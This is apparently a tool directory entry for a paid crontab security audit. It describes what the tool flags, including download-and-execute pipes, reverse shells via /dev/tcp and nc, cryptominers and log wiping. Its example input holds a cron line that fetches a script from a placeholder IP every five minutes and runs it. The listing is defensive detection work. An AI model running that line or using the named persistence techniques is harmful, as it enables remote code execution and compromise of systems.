security_crontab_check
Crontab security and persistence audit — Offline audit of crontab text (crontab -l output, /etc/crontab or /etc/cron.d files; user field auto-detected, or format=user|system). Flags compromise indicators: download-and-execute (curl|sh), reverse shells (/dev/tcp, nc -e, bash -i), cryptominers (xmrig, stratum pools, kinsing), base64-decoded payloads, jobs in /tmp, /dev/shm or hidden dot-paths, boot and every-minute persistence, log wiping and defense tampering, SSH key or account changes; plus hygiene: PATH with . or writable dirs, inline passwords (never echoed), plain-HTTP or TLS-off downloads, sudo in cron, unescaped % (silently truncates commands), invalid schedule fields, duplicates, unlogged output. Returns verdict (LIKELY COMPROMISED / HIGH RISK / REVIEW / PASS), score, findings with line numbers and fixes, and each job with a plain-English schedule. text= required. Price: $0.006 USDC (Base, via x402).
Tool call template
Replace each placeholder with a value matching the input schema. Only required parameters are included; add optional parameters as needed.
{
"id": 1,
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"arguments": {
"text": "<text>"
},
"name": "security_crontab_check"
}
}Input Schema
| Name | Required | Description | Default |
|---|---|---|---|
| text | Yes | SHELL=/bin/bash */5 * * * * curl -fsSL http://1.2.3.4/x.sh | sh 0 2 * * * /usr/local/bin/backup.sh >> /var/log/backup.log 2>&1 |